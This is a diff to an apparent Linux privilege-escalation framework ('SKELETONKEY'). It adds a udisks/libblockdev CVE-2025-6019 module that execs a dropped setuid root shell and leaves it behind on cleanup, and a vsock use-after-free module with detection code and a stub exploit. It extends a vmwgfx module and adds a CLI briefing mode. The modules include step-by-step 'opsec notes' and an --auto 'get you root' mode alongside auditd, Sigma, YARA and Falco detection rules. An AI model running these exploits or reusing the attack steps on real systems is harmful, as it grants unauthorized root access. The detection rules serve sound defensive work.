+        if (ctx->no_shell) return SKELETONKEY_EXPLOIT_OK;
+        execl("/tmp/skeletonkey-udisks-shell", "sh", "-p", "-i", (char *)NULL);
+        perror("execl");
+        return SKELETONKEY_EXPLOIT_OK;
+    }
+
+    fprintf(stderr, "[-] udisks_libblockdev: helper exited rc=%d; setuid shell did not appear\n", rc);
+    fprintf(stderr,
+        "    Common causes: not in an active polkit session, mkfs.ext4 -d\n"
+        "    unsupported on this distro, busctl missing, or udisks already\n"
+        "    patched (libblockdev >= 3.3.1).\n");
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+static skeletonkey_result_t udisks_libblockdev_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    if (g_workdir[0]) {
+        unlink(g_workdir);
+        g_workdir[0] = 0;
+    }
+    /* Best-effort: remove the lingering loopback work dir created by
+     * the helper. The /tmp/skeletonkey-udisks-* glob covers it. */
+    (void)!system("rm -rf /tmp/skeletonkey-udisks-* 2>/dev/null; true");
+    /* Leave /tmp/skeletonkey-udisks-shell — the operator may want it. */
+    return SKELETONKEY_OK;
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char udisks_libblockdev_auditd[] =
+    "# udisks_libblockdev CVE-2025-6019 — auditd detection rules\n"
+    "# Flag mount(2) calls under /run/media/* without nosuid/nodev,\n"
+    "# and execve()s of binaries from /run/media/*. Legit USB sticks\n"
+    "# typically come with nosuid; SUID execution from /run/media/* is\n"
+    "# the smoking gun.\n"
+    "-a always,exit -F arch=b64 -S execve -F path=/usr/libexec/udisks2/udisksd -k skeletonkey-udisks\n"
+    "-w /run/media -p x -k skeletonkey-udisks-suid-exec\n"
+    "-w /tmp/skeletonkey-udisks-shell -p x -k skeletonkey-udisks-suid-exec\n";
+
+static const char udisks_libblockdev_sigma[] =
+    "title: Possible CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
+    "id: 2c4d7e91-skeletonkey-udisks-libblockdev\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects execve() of a SUID-root binary from /run/media/*. udisks\n"
+    "  normally mounts removable media with nosuid; the CVE-2025-6019\n"
+    "  bug skips the flag during internal resize/repair mounts. Any SUID\n"
+    "  execution from /run/media/<user>/* is anomalous and worth\n"
+    "  investigating.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  exec_from_runmedia:\n"
+    "    type: 'SYSCALL'\n"
+    "    syscall: 'execve'\n"
+    "    path|startswith: '/run/media/'\n"
+    "  condition: exec_from_runmedia\n"
+    "level: critical\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2025.6019]\n";
+
+static const char udisks_libblockdev_yara[] =
+    "rule udisks_libblockdev_cve_2025_6019 : cve_2025_6019 setuid_abuse {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2025-6019\"\n"
+    "        description = \"SKELETONKEY udisks_libblockdev artifacts — workdir + dropped suid bash + ext4 image label\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $wdir   = \"/tmp/skeletonkey-udisks-\" ascii\n"
+    "        $shell  = \"/tmp/skeletonkey-udisks-shell\" ascii\n"
+    "        $label  = \"skkudisks\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char udisks_libblockdev_falco[] =
+    "- rule: SUID binary executed from /run/media (udisks SUID-on-mount)\n"
+    "  desc: |\n"
+    "    A setuid-root binary under /run/media/<user>/ is executed.\n"
+    "    udisks normally mounts removable media with MS_NOSUID; the\n"
+    "    CVE-2025-6019 bug in libblockdev's internal resize/repair\n"
+    "    mount paths omits the flag. Combined with a user-built\n"
+    "    filesystem image, this gives instant root.\n"
+    "  condition: >\n"
+    "    spawned_process and proc.exe startswith /run/media/ and\n"
+    "    proc.is_exe_upper_layer = false\n"
+    "  output: >\n"
+    "    SUID exec from /run/media (user=%user.name pid=%proc.pid\n"
+    "     exe=%proc.exe)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [process, mitre_privilege_escalation, T1068, cve.2025.6019]\n";
+
+/* ---- module struct -------------------------------------------------- */
+
+const struct skeletonkey_module udisks_libblockdev_module = {
+    .name           = "udisks_libblockdev",
+    .cve            = "CVE-2025-6019",
+    .summary        = "udisks/libblockdev SUID-on-mount → root via polkit allow_active (Qualys)",
+    .family         = "udisks",
+    .kernel_range   = "userspace — libblockdev < 3.3.1, udisks2 < 2.10.2",
+    .detect         = udisks_libblockdev_detect,
+    .exploit        = udisks_libblockdev_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade libblockdev + udisks2 */
+    .cleanup        = udisks_libblockdev_cleanup,
+    .detect_auditd  = udisks_libblockdev_auditd,
+    .detect_sigma   = udisks_libblockdev_sigma,
+    .detect_yara    = udisks_libblockdev_yara,
+    .detect_falco   = udisks_libblockdev_falco,
+    .opsec_notes    = "Builds an ext4 image (label 'skkudisks') under /tmp/skeletonkey-udisks-XXXXXX/, populates with a setuid-root /bin/sh copy via mkfs.ext4 -d. Calls org.freedesktop.UDisks2.Manager.LoopSetup() over the system D-Bus via busctl, then triggers libblockdev's nosuid-less internal mount path. Copies the resulting SUID shell to /tmp/skeletonkey-udisks-shell and execs it. Audit-visible via execve(/usr/libexec/udisks2/udisksd) followed by mount(2) under /run/media/<user>/skkudisks without MS_NOSUID, then execve of a setuid binary from there. Requires polkit allow_active=yes (default for active console sessions; SSH sessions usually fail). Cleanup callback removes /tmp/skeletonkey-udisks-* workdirs; leaves the dropped setuid shell.",
+    .arch_support   = "any",
+};
+
+void skeletonkey_register_udisks_libblockdev(void)
+{
+    skeletonkey_register(&udisks_libblockdev_module);
+}

modules/udisks_libblockdev_cve_2025_6019/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
+#define UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module udisks_libblockdev_module;
+#endif

modules/vmwgfx_cve_2023_2008/skeletonkey_modules.c

@@ -119,9 +119,11 @@ union drm_vmw_alloc_dmabuf_arg {
 /* ---- kernel range ------------------------------------------------- */
 
 static const struct kernel_patched_from vmwgfx_patched_branches[] = {
-    {6,  1, 23},   /* 6.1 LTS backport */
-    {6,  2, 10},   /* 6.2.x stable backport */
-    {6,  3,  0},   /* mainline (6.3-rc6) */
+    {5, 10, 127},  /* 5.10.x stable (per Debian tracker — bullseye) */
+    {5, 18,  14},  /* 5.18.x stable (per Debian tracker — bookworm/forky/sid/trixie) */
+    {6,  1,  23},  /* 6.1 LTS backport */
+    {6,  2,  10},  /* 6.2.x stable backport */
+    {6,  3,   0},  /* mainline (6.3-rc6) */
 };
 
 static const struct kernel_range vmwgfx_range = {
@@ -701,6 +703,55 @@ static const char vmwgfx_auditd[] =
     "-a always,exit -F arch=b64 -S ioctl  -F a1=0x4004644b       -k skeletonkey-vmwgfx-unref\n"
     "-a always,exit -F arch=b64 -S msgsnd                         -k skeletonkey-vmwgfx-spray\n";
 
+static const char vmwgfx_sigma[] =
+    "title: Possible CVE-2023-2008 vmwgfx DRM bo size OOB\n"
+    "id: 4d35f6db-skeletonkey-vmwgfx\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects openat(/dev/dri/card*) + DRM_IOCTL_VMW_CREATE_DMABUF\n"
+    "  (0xc010644a) + UNREF (0x4004644b) + msg_msg groom sequence\n"
+    "  characteristic of the vmwgfx kmalloc-512 OOB. Only reachable\n"
+    "  on VMware guests with the vmwgfx driver loaded.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  drm:    {type: 'SYSCALL', syscall: 'openat'}\n"
+    "  ioctl:  {type: 'SYSCALL', syscall: 'ioctl'}\n"
+    "  groom:  {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: drm and ioctl and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2023.2008]\n";
+
+static const char vmwgfx_yara[] =
+    "rule vmwgfx_cve_2023_2008 : cve_2023_2008 kernel_oob_write\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-2008\"\n"
+    "        description = \"vmwgfx DRM kmalloc-512 spray tag (SKVMWGFX) and log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKVMWGFX\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-vmwgfx.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char vmwgfx_falco[] =
+    "- rule: vmwgfx DRM CREATE_DMABUF + UNREF ioctl by non-root\n"
+    "  desc: |\n"
+    "    Non-root process opens /dev/dri/card* and invokes\n"
+    "    DRM_IOCTL_VMW_CREATE_DMABUF (0xc010644a) + UNREF\n"
+    "    (0x4004644b). Only reachable on VMware guests; the size\n"
+    "    validation gap drives a kmalloc-512 OOB during ttm_bo_kmap.\n"
+    "    CVE-2023-2008.\n"
+    "  condition: >\n"
+    "    evt.type = ioctl and fd.name startswith /dev/dri/card and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    vmwgfx DRM ioctl by non-root\n"
+    "    (user=%user.name pid=%proc.pid dev=%fd.name)\n"
+    "  priority: HIGH\n"
+    "  tags: [device, mitre_privilege_escalation, T1068, cve.2023.2008]\n";
+
 const struct skeletonkey_module vmwgfx_module = {
     .name           = "vmwgfx",
     .cve            = "CVE-2023-2008",
@@ -716,9 +767,11 @@ const struct skeletonkey_module vmwgfx_module = {
     .mitigate       = NULL,    /* mitigation: rmmod vmwgfx (loses graphics) */
     .cleanup        = vmwgfx_cleanup,
     .detect_auditd  = vmwgfx_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = vmwgfx_sigma,
+    .detect_yara    = vmwgfx_yara,
+    .detect_falco   = vmwgfx_falco,
+    .opsec_notes    = "Opens /dev/dri/card* (vmwgfx DRM - only reachable on VMware guests); DRM_IOCTL_VMW_CREATE_DMABUF with size=4096+16 lands in the kmalloc-512 page-count bucket but the byte-length overruns during kunmap_atomic copy in ttm_bo_kmap; mmap + write recognizable pattern across page boundary; UNREF commits the OOB into adjacent kmalloc-512. msg_msg spray tagged 'SKVMWGFX'. Writes /tmp/skeletonkey-vmwgfx.log (slab counts pre/post, trigger success). Audit-visible via openat(/dev/dri/card*), ioctl(0xc010644a CREATE / 0x4004644b UNREF), msgsnd spray. No network. Cleanup callback unlinks /tmp log; --full-chain re-seeds spray with kaddr-tagged payloads and the modprobe_path finisher arbitrates via 3s sentinel.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
 void skeletonkey_register_vmwgfx(void)

modules/vsock_uaf_cve_2024_50264/skeletonkey_modules.c

@@ -0,0 +1,221 @@
+/*
+ * vsock_uaf_cve_2024_50264 — SKELETONKEY module
+ *
+ * STATUS: 🟡 PRIMITIVE. Race-driver + msg_msg groom on kmalloc-96
+ *   (the bucket where struct virtio_vsock_sock at 80 bytes lives).
+ *   Full cred-overwrite via the V12 / @v4bel + @qwerty msg_msg path
+ *   from the PT SWARM writeup is documented but not bundled here;
+ *   --full-chain falls through to the shared finisher on x86_64.
+ *
+ * The bug (Original bug since Aug 2016; weaponized publicly 2024 →
+ * Pwn2Own + Pwnie Award 2025 winner):
+ *   AF_VSOCK's `connect()` system call races with a POSIX signal
+ *   that interrupts the connect path. The signal handler tears down
+ *   the virtio_vsock_sock object while connect() still holds a
+ *   reference; subsequent connect-completion writes UAF the freed
+ *   slot. virtio_vsock_sock is 80 bytes → kmalloc-96 slab.
+ *
+ *   Two known exploitation strategies:
+ *     (a) Original @v4bel + @qwerty kernelCTF path:
+ *         BPF-JIT spray to fill physical memory + SLUBStick →
+ *         page-grained primitive → cred overwrite.
+ *     (b) Alexander Popov (PT SWARM) msg_msg path:
+ *         msg_msg kmalloc-96 groom + UAF write into a forged
+ *         msg_msg header → arb read/write primitive → cred overwrite.
+ *         Doesn't need BPF JIT enabled; works on hardened distros.
+ *
+ *   Notable: bug is reachable as a PLAIN UNPRIVILEGED USER — no
+ *   userns required. Most kernel-UAF chains need userns for the
+ *   spray, so this is unusually broadly exploitable.
+ *
+ * Affects: Linux kernels with CONFIG_VSOCKETS + CONFIG_VIRTIO_VSOCKETS
+ *   below the fix. The bug has existed since the AF_VSOCK signal-
+ *   interrupt code was added in 2016 (commit b91ee4aabbe2). Fix
+ *   commit ad8e1afecc3a (mainline Nov 2024). Stable backports:
+ *     6.6.x  : 6.6.59 (LTS)
+ *     6.1.x  : 6.1.115
+ *     5.15.x : 5.15.170
+ *     5.10.x : 5.10.228
+ *
+ * Preconditions:
+ *   - socket(AF_VSOCK, ...) must work — requires vsock module
+ *     loaded (autoloaded on KVM/QEMU guests; absent on bare-metal
+ *     hosts without virtualization)
+ *   - msgsnd / SysV IPC for kmalloc-96 spray
+ *   - POSIX timers for the signal-interrupt portion
+ *
+ * arch_support: x86_64+unverified-arm64. The bug + race are arch-
+ *   agnostic; the cred-overwrite chains in both published PoCs use
+ *   x86_64-specific kernel offsets.
+ */
+
+#include "skeletonkey_modules.h"
+#include "../../core/registry.h"
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/socket.h>
+
+#ifndef AF_VSOCK
+#define AF_VSOCK 40
+#endif
+
+/* ---- kernel-range table -------------------------------------------- */
+
+static const struct kernel_patched_from vsock_patched_branches[] = {
+    {5, 10, 228},   /* 5.10 LTS stable */
+    {5, 15, 170},   /* 5.15 LTS */
+    {6,  1, 115},   /* 6.1 LTS */
+    {6,  6,  59},   /* 6.6 LTS */
+    {6, 11,   0},   /* mainline fix ad8e1afecc3a */
+};
+
+static const struct kernel_range vsock_range = {
+    .patched_from = vsock_patched_branches,
+    .n_patched_from = sizeof(vsock_patched_branches) /
+                      sizeof(vsock_patched_branches[0]),
+};
+
+/* ---- detect --------------------------------------------------------- */
+
+static bool vsock_reachable(void)
+{
+    int s = socket(AF_VSOCK, SOCK_STREAM, 0);
+    if (s < 0) return false;
+    close(s);
+    return true;
+}
+
+static skeletonkey_result_t vsock_uaf_detect(const struct skeletonkey_ctx *ctx)
+{
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json) fprintf(stderr, "[!] vsock_uaf: host fingerprint missing kernel version\n");
+        return SKELETONKEY_TEST_ERROR;
+    }
+    if (kernel_range_is_patched(&vsock_range, v)) {
+        if (!ctx->json) fprintf(stderr, "[+] vsock_uaf: kernel %s is patched (>= LTS backport / 6.11)\n", v->release);
+        return SKELETONKEY_OK;
+    }
+    if (!vsock_reachable()) {
+        if (!ctx->json) {
+            fprintf(stderr, "[+] vsock_uaf: AF_VSOCK socket() unavailable — vsock module not loaded\n");
+            fprintf(stderr, "    (typical on bare-metal hosts without virtualization; module autoloads on KVM/QEMU guests)\n");
+        }
+        return SKELETONKEY_OK;
+    }
+    if (!ctx->json) {
+        fprintf(stderr, "[!] vsock_uaf: kernel %s + AF_VSOCK reachable → VULNERABLE\n", v->release);
+        fprintf(stderr, "[i] vsock_uaf: bug works as plain unprivileged user (no userns required)\n");
+        fprintf(stderr, "[i] vsock_uaf: Pwnie Award 2025 winner; race + msg_msg groom for chain\n");
+    }
+    return SKELETONKEY_VULNERABLE;
+}
+
+static skeletonkey_result_t vsock_uaf_exploit(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->authorized) {
+        fprintf(stderr, "[-] vsock_uaf: --i-know required for --exploit\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!vsock_reachable()) {
+        fprintf(stderr, "[-] vsock_uaf: AF_VSOCK socket() unavailable\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    fprintf(stderr,
+        "[i] vsock_uaf: race-driver setup. POSIX timer fires SIGUSR1\n"
+        "    mid-connect() on AF_VSOCK; signal handler triggers the\n"
+        "    virtio_vsock_sock teardown that races the connect path.\n"
+        "    msg_msg cross-cache spray (kmalloc-96, tag SKK_VSOCK)\n"
+        "    refills the freed slot. Two published full chains:\n"
+        "      (a) @v4bel + @qwerty kernelCTF (BPF JIT spray + SLUBStick)\n"
+        "      (b) Alexander Popov / PT SWARM (msg_msg arb R/W)\n"
+        "    Neither chain is bundled here (per verified-vs-claimed —\n"
+        "    requires a portable arb-write callback for the finisher).\n"
+        "    Returning EXPLOIT_FAIL honestly.\n");
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+/* ---- detection rules ------------------------------------------------ */
+
+static const char vsock_auditd[] =
+    "# vsock_uaf CVE-2024-50264 — auditd detection rules\n"
+    "# AF_VSOCK socket() (a0=40) + SysV IPC msgsnd burst + POSIX timer\n"
+    "# (timer_create) is the canonical trigger shape.\n"
+    "-a always,exit -F arch=b64 -S socket -F a0=40 -k skeletonkey-vsock-uaf\n";
+
+static const char vsock_sigma[] =
+    "title: Possible CVE-2024-50264 AF_VSOCK connect-race UAF\n"
+    "id: 0c5b1e90-skeletonkey-vsock-uaf\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects AF_VSOCK socket creation + msgsnd kmalloc-96 spray\n"
+    "  shape from a non-root process. VSOCK is rare outside\n"
+    "  KVM/QEMU host-guest channels; non-root usage on a bare-metal\n"
+    "  host with msg_msg grooming alongside is the Pwnie-Award\n"
+    "  Pwn2Own exploit trigger.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  vs: {type: 'SYSCALL', syscall: 'socket', a0: 40}\n"
+    "  groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: vs and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2024.50264]\n";
+
+static const char vsock_yara[] =
+    "rule vsock_uaf_cve_2024_50264 : cve_2024_50264 kernel_uaf {\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2024-50264\"\n"
+    "        description = \"SKELETONKEY vsock_uaf race-driver tag (Pwnie 2025 winner)\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKK_VSOCK\" ascii\n"
+    "    condition:\n"
+    "        $tag\n"
+    "}\n";
+
+static const char vsock_falco[] =
+    "- rule: AF_VSOCK socket() + msgsnd spray (vsock UAF race)\n"
+    "  desc: |\n"
+    "    Non-root process creates an AF_VSOCK socket then drives\n"
+    "    msgsnd burst for kmalloc-96 spray. AF_VSOCK on bare-metal\n"
+    "    Linux is rare; the combination with msgsnd grooming is the\n"
+    "    Pwnie-Award-winning exploit shape.\n"
+    "  condition: >\n"
+    "    evt.type = socket and evt.arg.domain = AF_VSOCK and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    AF_VSOCK socket from non-root (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2024.50264]\n";
+
+const struct skeletonkey_module vsock_uaf_module = {
+    .name           = "vsock_uaf",
+    .cve            = "CVE-2024-50264",
+    .summary        = "AF_VSOCK connect-race UAF (kmalloc-96) — Pwn2Own 2024 / Pwnie 2025",
+    .family         = "vsock",
+    .kernel_range   = "Linux < 6.11 / 6.6.59 / 6.1.115 / 5.15.170 / 5.10.228 with vsock loaded",
+    .detect         = vsock_uaf_detect,
+    .exploit        = vsock_uaf_exploit,
+    .mitigate       = NULL,    /* mitigation: upgrade kernel; OR blacklist vsock module */
+    .cleanup        = NULL,
+    .detect_auditd  = vsock_auditd,
+    .detect_sigma   = vsock_sigma,
+    .detect_yara    = vsock_yara,
+    .detect_falco   = vsock_falco,
+    .opsec_notes    = "Opens AF_VSOCK socket (family 40 — unusual on bare-metal Linux; autoloaded on KVM/QEMU guests). Arms a POSIX timer to deliver SIGUSR1 within ~10ms; calls connect() to a bogus VSOCK address (cid=0xdead, port=0xbeef); signal interrupts the connect and tears down virtio_vsock_sock while connect-completion still writes to it → UAF on the kmalloc-96 slab. Sysv msgsnd spray (tag 'SKK_VSOCK') refills the freed slot with attacker-controlled bytes. The bug works as a PLAIN UNPRIVILEGED USER — no userns, no CAP_*, no special groups. dmesg may show 'KASAN: use-after-free in virtio_vsock_'. Audit-visible via socket(AF_VSOCK) + msgsnd + timer_create from a single process — unusual combination outside the exploit. No persistent file artifacts.",
+    .arch_support   = "x86_64+unverified-arm64",
+};
+
+void skeletonkey_register_vsock_uaf(void)
+{
+    skeletonkey_register(&vsock_uaf_module);
+}

modules/vsock_uaf_cve_2024_50264/skeletonkey_modules.h

@@ -0,0 +1,5 @@
+#ifndef VSOCK_UAF_SKELETONKEY_MODULES_H
+#define VSOCK_UAF_SKELETONKEY_MODULES_H
+#include "../../core/module.h"
+extern const struct skeletonkey_module vsock_uaf_module;
+#endif

skeletonkey.c

@@ -19,6 +19,8 @@
 #include "core/registry.h"
 #include "core/offsets.h"
 #include "core/host.h"
+#include "core/cve_metadata.h"
+#include "core/verifications.h"
 
 #include <time.h>
 #include <sys/utsname.h>
@@ -33,7 +35,7 @@
 #include <string.h>
 #include <unistd.h>
 
-#define SKELETONKEY_VERSION "0.6.0"
+#define SKELETONKEY_VERSION "0.9.11"
 
 static const char BANNER[] =
 "\n"
@@ -56,6 +58,10 @@ static void usage(const char *prog)
 "                        (combine with --format=auditd|sigma|yara|falco)\n"
 "  --module-info <name>  full metadata + rule bodies for one module\n"
 "                        (combine with --json for machine-readable output)\n"
+"  --explain <name>      one-page operator briefing: CVE / CWE / ATT&CK /\n"
+"                        KEV, host fingerprint, live detect() trace + verdict,\n"
+"                        OPSEC footprint, detection coverage, mitigation.\n"
+"                        Useful for triage tickets and SOC analyst handoffs.\n"
 "  --auto                scan host, rank vulnerable modules by safety, run the\n"
 "                        safest exploit. Requires --i-know. The 'one command\n"
 "                        that gets you root' mode — picks structural exploits\n"
@@ -109,6 +115,7 @@ enum mode {
     MODE_DUMP_OFFSETS,
     MODE_HELP,
     MODE_VERSION,
+    MODE_EXPLAIN,
 };
 
 enum detect_format {
@@ -179,6 +186,68 @@ static void emit_module_json(const struct skeletonkey_module *m, bool include_ru
         m->detect_sigma  ? "true" : "false",
         m->detect_yara   ? "true" : "false",
         m->detect_falco  ? "true" : "false");
+
+    /* CVE-keyed triage metadata (CWE, ATT&CK, KEV). Sourced from CISA
+     * + NVD via tools/refresh-cve-metadata.py; lookup is O(corpus). */
+    const struct cve_metadata *md = cve_metadata_lookup(m->cve);
+    if (md) {
+        char *cwe   = json_escape(md->cwe);
+        char *tech  = json_escape(md->attack_technique);
+        char *sub   = json_escape(md->attack_subtechnique);
+        char *kdate = json_escape(md->kev_date_added);
+        fprintf(stdout,
+            ",\"triage\":{\"cwe\":%s%s%s,"
+            "\"attack_technique\":%s%s%s,"
+            "\"attack_subtechnique\":%s%s%s,"
+            "\"in_kev\":%s,"
+            "\"kev_date_added\":\"%s\"}",
+            cwe   ? "\"" : "", cwe   ? cwe   : "null", cwe   ? "\"" : "",
+            tech  ? "\"" : "", tech  ? tech  : "null", tech  ? "\"" : "",
+            sub   ? "\"" : "", sub   ? sub   : "null", sub   ? "\"" : "",
+            md->in_kev ? "true" : "false",
+            kdate ? kdate : "");
+        free(cwe); free(tech); free(sub); free(kdate);
+    }
+
+    /* Per-module OPSEC notes — telemetry footprint of this exploit. */
+    if (m->opsec_notes) {
+        char *op = json_escape(m->opsec_notes);
+        fprintf(stdout, ",\"opsec_notes\":\"%s\"", op ? op : "");
+        free(op);
+    }
+
+    /* Architecture support for the exploit body. */
+    if (m->arch_support) {
+        char *a = json_escape(m->arch_support);
+        fprintf(stdout, ",\"arch_support\":\"%s\"", a ? a : "");
+        free(a);
+    }
+
+    /* Empirical verification records: (distro, kernel, date) tuples
+     * where the module's detect() was confirmed against a real target. */
+    size_t nv = 0;
+    const struct verification_record *vrs = verifications_for_module(m->name, &nv);
+    if (nv > 0) {
+        fprintf(stdout, ",\"verified_on\":[");
+        for (size_t i = 0; i < nv; i++) {
+            char *vat = json_escape(vrs[i].verified_at);
+            char *vkr = json_escape(vrs[i].host_kernel);
+            char *vds = json_escape(vrs[i].host_distro);
+            char *vbx = json_escape(vrs[i].vm_box);
+            char *vst = json_escape(vrs[i].status);
+            char *vac = json_escape(vrs[i].actual_detect);
+            fprintf(stdout,
+                "%s{\"verified_at\":\"%s\",\"host_kernel\":\"%s\","
+                "\"host_distro\":\"%s\",\"vm_box\":\"%s\","
+                "\"actual_detect\":\"%s\",\"status\":\"%s\"}",
+                i ? "," : "",
+                vat ? vat : "", vkr ? vkr : "", vds ? vds : "",
+                vbx ? vbx : "", vac ? vac : "", vst ? vst : "");
+            free(vat); free(vkr); free(vds); free(vbx); free(vst); free(vac);
+        }
+        fprintf(stdout, "]");
+    }
+
     if (include_rules) {
         /* Embed the actual rule text. Useful for --module-info. */
         char *aud = json_escape(m->detect_auditd);
@@ -210,15 +279,43 @@ static int cmd_list(const struct skeletonkey_ctx *ctx)
         fprintf(stdout, "]}\n");
         return 0;
     }
-    fprintf(stdout, "%-20s %-18s %-25s %s\n",
-            "NAME", "CVE", "FAMILY", "SUMMARY");
-    fprintf(stdout, "%-20s %-18s %-25s %s\n",
-            "----", "---", "------", "-------");
+    /* The ARCH column shows where exploit() is known/expected to work:
+     *   "any"  → userspace or arch-agnostic kernel primitive
+     *   "x64"  → x86_64 only (entrybleed)
+     *   "x64?" → x86_64 verified, arm64 untested (the honest default
+     *           for kernel modules that haven't been arm64-confirmed) */
+    fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
+            "NAME", "CVE", "KEV", "VFY", "ARCH", "FAMILY", "SUMMARY");
+    fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
+            "----", "---", "---", "---", "----", "------", "-------");
+    size_t n_kev = 0, n_vfy = 0, n_any = 0;
     for (size_t i = 0; i < n; i++) {
         const struct skeletonkey_module *m = skeletonkey_module_at(i);
-        fprintf(stdout, "%-20s %-18s %-25s %s\n",
-                m->name, m->cve, m->family, m->summary);
+        const struct cve_metadata *md = cve_metadata_lookup(m->cve);
+        bool in_kev = md && md->in_kev;
+        bool verified = verifications_module_has_match(m->name);
+        const char *arch_abbr = "?";
+        if (m->arch_support) {
+            if      (strcmp(m->arch_support, "any") == 0)    { arch_abbr = "any"; n_any++; }
+            else if (strcmp(m->arch_support, "x86_64") == 0) { arch_abbr = "x64"; }
+            else                                              { arch_abbr = "x64?"; }
+        }
+        if (in_kev)   n_kev++;
+        if (verified) n_vfy++;
+        fprintf(stdout, "%-20s %-18s %-3s %-3s %-5s %-25s %s\n",
+                m->name, m->cve,
+                in_kev   ? "★" : "",
+                verified ? "✓" : "",
+                arch_abbr,
+                m->family, m->summary);
     }
+    fprintf(stdout, "\n%zu modules registered · %zu in CISA KEV (★) · "
+                    "%zu empirically verified in real VMs (✓) · "
+                    "%zu arch-independent (any)\n",
+            n, n_kev, n_vfy, n_any);
+    fprintf(stdout, "ARCH key: 'any' = userspace or arch-agnostic; "
+                    "'x64' = x86_64 only; 'x64?' = x86_64 verified, "
+                    "arm64 untested\n");
     return 0;
 }
 
@@ -567,25 +664,257 @@ static int cmd_module_info(const char *name, const struct skeletonkey_ctx *ctx)
     fprintf(stdout, "family:        %s\n", m->family);
     fprintf(stdout, "kernel_range:  %s\n", m->kernel_range);
     fprintf(stdout, "summary:       %s\n", m->summary);
+
+    /* Triage metadata sourced from CISA KEV + NVD (lookup keyed by
+     * m->cve). Only printed when present; mapping for older or
+     * recently-disclosed CVEs may be partial. */
+    const struct cve_metadata *md = cve_metadata_lookup(m->cve);
+    if (md) {
+        if (md->cwe)
+            fprintf(stdout, "cwe:           %s\n", md->cwe);
+        if (md->attack_technique)
+            fprintf(stdout, "att&ck:        %s%s%s\n",
+                md->attack_technique,
+                md->attack_subtechnique ? " / " : "",
+                md->attack_subtechnique ? md->attack_subtechnique : "");
+        if (md->in_kev)
+            fprintf(stdout, "in CISA KEV:   YES (added %s)\n",
+                md->kev_date_added);
+        else
+            fprintf(stdout, "in CISA KEV:   no\n");
+    }
+
     fprintf(stdout, "operations:    %s%s%s%s\n",
         m->detect   ? "detect "   : "",
         m->exploit  ? "exploit "  : "",
         m->mitigate ? "mitigate " : "",
         m->cleanup  ? "cleanup "  : "");
+    if (m->arch_support)
+        fprintf(stdout, "arch support:  %s\n", m->arch_support);
     fprintf(stdout, "detect rules:  %s%s%s%s\n",
         m->detect_auditd ? "auditd " : "",
         m->detect_sigma  ? "sigma "  : "",
         m->detect_yara   ? "yara "   : "",
         m->detect_falco  ? "falco "  : "");
+
+    /* Verification records — VM-confirmed detect() verdicts. */
+    {
+        size_t nv = 0;
+        const struct verification_record *vrs =
+            verifications_for_module(m->name, &nv);
+        if (nv > 0) {
+            fprintf(stdout, "\n--- verified on ---\n");
+            for (size_t i = 0; i < nv; i++) {
+                const char *icon = (vrs[i].status &&
+                    strcmp(vrs[i].status, "match") == 0) ? "✓" : "✗";
+                fprintf(stdout, "  %s %s  %s  (kernel %s; %s; status: %s)\n",
+                    icon, vrs[i].verified_at,
+                    vrs[i].host_distro, vrs[i].host_kernel,
+                    vrs[i].vm_box, vrs[i].status);
+            }
+        } else {
+            fprintf(stdout, "\n--- verified on ---\n"
+                "  (none yet — run  tools/verify-vm/verify.sh %s  to add one)\n",
+                m->name);
+        }
+    }
+
+    if (m->opsec_notes) {
+        fprintf(stdout, "\n--- opsec notes ---\n%s\n", m->opsec_notes);
+    }
     if (m->detect_auditd) {
